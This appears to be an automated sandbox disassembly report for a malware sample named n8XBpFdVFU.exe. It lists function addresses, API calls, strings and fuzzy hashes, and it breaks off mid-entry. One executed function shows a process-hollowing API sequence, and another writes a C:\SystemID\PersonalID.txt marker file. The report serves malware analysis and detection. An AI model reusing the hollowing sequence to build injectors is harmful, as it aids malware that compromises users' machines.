Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID\PersonalID.txt, xrefs: 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Uniqueness

Uniqueness Score: -1.00%

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Uniqueness

Uniqueness Score: -1.00%

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E
.\crypto\evp\digest.c, xrefs: 00480638

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Uniqueness

Uniqueness Score: -1.00%

Function 0044F23E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F251

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F266

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

TeM, xrefs: 0044F247, 0044F25B

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Copy_strExceptionException@8RaiseThrowstd::exception::_std::exception::exception
String ID: TeM
API String ID: 757275642-2215902641
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: d1ee5d24d6598838e25116ba354c7cf631fb5eda6106ebacc41b25e9fbee45cd
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 8FD06774D0020DBBCB04EFA5D59ACCDBBB8AA04348F009567AD1597241EA78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: n8XBpFdVFU.exePID: 6604, Parent PID: 4308COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	95%
Signature Coverage:	0%
Total number of Nodes:	40
Total number of Limit Nodes:	7

Executed Functions

Function 05DE0110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 05DE0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 05DE016C
CreateProcessA.KERNELBASE(?,00000000), ref: 05DE0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 05DE0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 05DE0283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 05DE029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05DE02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 05DE02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 05DE0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 05DE032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 05DE0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05DE03BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 05DE03E1
ResumeThread.KERNELBASE(00000000), ref: 05DE03ED
ExitProcess.KERNEL32(00000000), ref: 05DE0412

Memory Dump Source

Source File: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 3c99eb84f86120d0ddbb557018f858e2931c5134906ed2288405bf6991fe53f6
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: B4B1C874A00208AFDB44CF98C895FAEBBB5FF88314F248158E549AB395D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 05DE0420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 05DE0533

Strings

d, xrefs: 05DE0584
saodkfnosa9uin, xrefs: 05DE04DA
0, xrefs: 05DE0492
mfoaskdfnoa, xrefs: 05DE0520, 05DE0523

Memory Dump Source

Source File: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 1ce609e0e41bfe1c81493749e96be1060084855a3b50d4e3ffb1914e6189cbb6
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 7D511670D08388DAEB11DBA8C849BADBFB2AF11708F144059D5446F2C6C3FA5659CB62

Uniqueness

Uniqueness Score: -1.00%

Function 05DE05B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 05DE05EC

Strings

apfHQ, xrefs: 05DE05E2, 05DE05E5
o, xrefs: 05DE0600

Memory Dump Source

Source File: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: c9f7ed62a2051b937cea3a2eb9965a7b660bc0e3c873b3c1fa783b65a0c88571
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 66011E70C0424CEBDB11EB98C5183AEBFB5AF41308F14809DC4492B241D7B69B59CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 042FB7C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 042FB7EE
Module32First.KERNEL32(00000000,00000224), ref: 042FB80E

Memory Dump Source

Source File: 00000003.00000002.1650285464.00000000042FB000.00000040.00000020.00020000.00000000.sdmp, Offset: 042FB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_42fb000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: a789945081b4fe55966a37fe5f62e646612845e7f6e49f6847d260c892b5e799
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 79F062363107116BE7203BB5EC8DA6ABAE8AF89765F900678E742954C0DA70F8454A61

Uniqueness

Uniqueness Score: -1.00%

Function 042FB485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 042FB4D6

Memory Dump Source

Source File: 00000003.00000002.1650285464.00000000042FB000.00000040.00000020.00020000.00000000.sdmp, Offset: 042FB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_42fb000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 5c6fb35d68d2826f4d02104fe8210fc2adecfb6319a43cb515c3ed6403b55670
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: D0113C79A00208EFDB01DF98C985E99BFF5AF08750F4580A4FA489B361D375EA90DF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 05E06437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 05E0644E

Part of subcall function 05E09636: __calloc_impl.LIBCMT ref: 05E09645

__calloc_crt.LIBCMT ref: 05E06472
_free.LIBCMT ref: 05E06480
__calloc_crt.LIBCMT ref: 05E0648E
_free.LIBCMT ref: 05E0649E
_free.LIBCMT ref: 05E064A4
__copytlocinfo_nolock.LIBCMT ref: 05E064B3
__setmbcp_nolock.LIBCMT ref: 05E064D4
_free.LIBCMT ref: 05E064E2
___removelocaleref.LIBCMT ref: 05E064E9
___freetlocinfo.LIBCMT ref: 05E064F0
_free.LIBCMT ref: 05E064F6

Memory Dump Source

Source File: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 2c9afba62720c09a83e795a5cb0fe5c198e1a1a58a7a74963dcc1fcedd2ac193
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: BD21D131204201AEEB257FA5EC09E5B7BE5FF41764B50B429F4C6590E1EA2285E0CA91

Uniqueness

Uniqueness Score: -1.00%

Function 05E03F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 05E03F51

Part of subcall function 05E05BA8: __getptd_noexit.LIBCMT ref: 05E05BA8

__gmtime64_s.LIBCMT ref: 05E03FEA
__gmtime64_s.LIBCMT ref: 05E04020
__gmtime64_s.LIBCMT ref: 05E0403D
__allrem.LIBCMT ref: 05E04093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E040AF
__allrem.LIBCMT ref: 05E040C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E040E4
__allrem.LIBCMT ref: 05E040FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E04119
__invoke_watson.LIBCMT ref: 05E0418A

Memory Dump Source

Source File: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: c372855331b8ab95c6863110082e03b2b845246da20cf61dbba51b75361f4471
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 7871F971B00716ABEB249E79CD45BAAB3B9BF04324F147539F994D72C0E770D9808790

Uniqueness

Uniqueness Score: -1.00%

Function 05E0650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 05E06547
__calloc_crt.LIBCMT ref: 05E06598
__lock.LIBCMT ref: 05E065AE
__copytlocinfo_nolock.LIBCMT ref: 05E065BF
_wcscmp.LIBCMT ref: 05E065F9
__lock.LIBCMT ref: 05E06610
__updatetlocinfoEx_nolock.LIBCMT ref: 05E06622
___removelocaleref.LIBCMT ref: 05E06628
__updatetlocinfoEx_nolock.LIBCMT ref: 05E06647

Memory Dump Source

Source File: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 28515901f672e698395d769db16ab65f78d472ffffe58d1e62fa0d1b7aaed74b
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 5B413432A04308AFEB00AFA4ED88B9E3BE5FF04314F107429E985961D1DB7596D5DB11

Uniqueness

Uniqueness Score: -1.00%

Function 05E084AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 05E084B1
_free.LIBCMT ref: 05E084E2
_free.LIBCMT ref: 05E084F5
_free.LIBCMT ref: 05E08513
_free.LIBCMT ref: 05E08525
_free.LIBCMT ref: 05E08536
_free.LIBCMT ref: 05E08541
_free.LIBCMT ref: 05E08565
_free.LIBCMT ref: 05E08581
_free.LIBCMT ref: 05E08597
_free.LIBCMT ref: 05E085BF

Memory Dump Source

Source File: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 758581b95a46b3ce6895d8c0cb87a876a75be6bb6a0d8a62e0114b1cb8e16811
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 4F31B431A08250DFDB255F94FC8485977B4FB14324704B62AE9C56B2E0CBB459C9EF94

Uniqueness

Uniqueness Score: -1.00%

Function 05E2FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05E2FC1F

Part of subcall function 05E1169C: std::exception::_Copy_str.LIBCMT ref: 05E116B5

__CxxThrowException@8.LIBCMT ref: 05E2FC34
std::exception::exception.LIBCMT ref: 05E2FC4D
__CxxThrowException@8.LIBCMT ref: 05E2FC62
std::regex_error::regex_error.LIBCPMT ref: 05E2FC74

Part of subcall function 05E2F914: std::exception::exception.LIBCMT ref: 05E2F92E

__CxxThrowException@8.LIBCMT ref: 05E2FC82
std::exception::exception.LIBCMT ref: 05E2FC9B
__CxxThrowException@8.LIBCMT ref: 05E2FCB0

Strings

leM, xrefs: 05E2FCA8

Memory Dump Source

Source File: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 454c4714fede138269d25820db1d0d37397ca74f0921601a3e20edf733c97c6c
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 9D11FE79D0020DBBCF04FFA5D459CDEBB7CAA04344F40C566AD6597244EB74A348CB99

Uniqueness

Uniqueness Score: -1.00%

Function 05DEF010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 05DEF01F

Part of subcall function 05E01602: __FF_MSGBANNER.LIBCMT ref: 05E01619
Part of subcall function 05E01602: __NMSG_WRITE.LIBCMT ref: 05E01620

_malloc.LIBCMT ref: 05DEF02B
_wprintf.LIBCMT ref: 05DEF03E
_free.LIBCMT ref: 05DEF044
_free.LIBCMT ref: 05DEF065
_malloc.LIBCMT ref: 05DEF06D
_sprintf.LIBCMT ref: 05DEF0C0
_wprintf.LIBCMT ref: 05DEF0D2
_wprintf.LIBCMT ref: 05DEF0DC
_free.LIBCMT ref: 05DEF0E5

Memory Dump Source

Source File: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: b642e6f8a6446d392e99a3d1fdb70132359ec6d30dac76b27221a7b3a505870a
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 021127B66005506AC66273F45C19FFF3BEC9F45311F0410AAFACCE51C0DA185A4493B1

Uniqueness

Uniqueness Score: -1.00%

Function 05DF1960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05DF19C6
__CxxThrowException@8.LIBCMT ref: 05DF19F1
__CxxThrowException@8.LIBCMT ref: 05DF1A1A
__CxxThrowException@8.LIBCMT ref: 05DF1A4B
_memset.LIBCMT ref: 05DF1A6A
__CxxThrowException@8.LIBCMT ref: 05DF1A90
_malloc.LIBCMT ref: 05DF1AA0
_memset.LIBCMT ref: 05DF1AAB
_sprintf.LIBCMT ref: 05DF1ACE

Memory Dump Source

Source File: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: d523b213369d1382de1afb4d7661f845466876610e61dfb4781f1b7d0e1be91b
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 84514A71E40219EBDB11DBE5DC89FAFBBB8FB04744F100026FA45B6180EB745A01CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05DEF210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05DEF284
__CxxThrowException@8.LIBCMT ref: 05DEF2AF
__CxxThrowException@8.LIBCMT ref: 05DEF2DE
__CxxThrowException@8.LIBCMT ref: 05DEF30F
_memset.LIBCMT ref: 05DEF32E
__CxxThrowException@8.LIBCMT ref: 05DEF354
_sprintf.LIBCMT ref: 05DEF373

Memory Dump Source

Source File: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: a07a8e7375f1c08008b9d851ff36896b16a8910c8bd463044ec8209c8e4f5c98
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 4A5151B1E40209EADF11DFA1DC4AFEEBBB9FB04704F105026F945B6180D775AA05CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05DEF440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05DEF4B7
__CxxThrowException@8.LIBCMT ref: 05DEF4E2
__CxxThrowException@8.LIBCMT ref: 05DEF504
__CxxThrowException@8.LIBCMT ref: 05DEF535
_memset.LIBCMT ref: 05DEF554
__CxxThrowException@8.LIBCMT ref: 05DEF57A
_sprintf.LIBCMT ref: 05DEF594

Memory Dump Source

Source File: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 11454a73af5114d405516201c9cfc12122e084f3df07588f84b0561272ef1210
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 4E516371E40209AADF11DFA1DC85FFFBBB8FB04744F10412AF945B6180DA74AA05CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05E2208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 05E220C6
__invoke_watson.LIBCMT ref: 05E22120
_strlen.LIBCMT ref: 05E220D4

Part of subcall function 05E05BA8: __getptd_noexit.LIBCMT ref: 05E05BA8

_strnlen.LIBCMT ref: 05E2215F
__lock.LIBCMT ref: 05E22170
__getenv_helper_nolock.LIBCMT ref: 05E2217B

Memory Dump Source

Source File: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 12cb22df7922e0ed15aa8d009795c082cd77ac52b1e75db947d9f6000603d054
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: A6310836B043316BEB217F658C08FAE7755AF05B24F147015EB85DB2C8DB74998186A2

Uniqueness

Uniqueness Score: -1.00%

Function 05DF2670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05DF26DB
_memset.LIBCMT ref: 05DF2A30
_memset.LIBCMT ref: 05DF2AC0

Strings

D, xrefs: 05DF2AC8

Memory Dump Source

Source File: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

